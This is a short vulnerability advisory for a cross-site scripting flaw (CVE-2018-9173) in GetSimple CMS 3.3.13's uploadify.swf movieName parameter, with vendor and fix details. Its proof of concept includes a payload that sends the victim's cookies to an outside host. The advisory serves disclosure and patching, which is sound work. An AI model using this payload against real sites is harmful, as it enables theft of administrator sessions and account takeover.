GetSimple CMS 3.3.13 Cross Site Scripting

`#######################################  
# Exploit Title: GetSimple CMS 3.3.13 - Cross Site Scripting Vulnerability  
# Google Dork: N/A  
# Date: 03-04-2018  
#######################################  
# Exploit Author: Sureshbabu Narvaneni#  
#######################################  
# Author Blog : http://nullnews.in  
# Vendor Homepage: http://get-simple.info/  
# Software Link: http://get-simple.info/download/  
# Affected Version: 3.3.13  
# Category: WebApps  
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686  
# CVE : CVE-2018-9173  
#  
# 1. Vendor Description:  
#  
# GetSimple is an XML based, stand-alone, fully independent and lite  
Content Management System. To go along with its  
# best-in-class user interface, we have loaded it with features that every  
website needs, but with nothing it  
# doesn't. GetSimple is truly the simplest way to manage a small-business  
website.  
#  
# 2. Technical Description:  
#  
# Cross-site scripting (XSS) vulnerability in  
admin/template/js/uploadify/uploadify.swf in GetSimple CMS 3.3.13  
# allows remote attackers to inject arbitrary web script or HTML, as  
demonstrated by the movieName parameter.  
#  
# 3. Proof Of Concept:  
#  
# Simple alert.  
#  
# http://  
[URL]GetSimpleCMS-3.3.13/admin/template/js/uploadify/uploadify.swf?movieName="])}catch(  
# e){alert("MrR3boot")}//  
#  
# Grab the cookies  
#  
# http://  
[URL]GetSimpleCMS-3.3.13/admin/template/js/uploadify/uploadify.swf?movieName="])}catch(  
# e){window.location="https://mrreboot.here?"+document.cookie}//  
#  
# 4. Solution:  
#  
# Upgrade to latest release.  
# http://get-simple.info/download/  
#  
# 5. Reference:  
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9173  
# https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1266  
#####################################  
  
`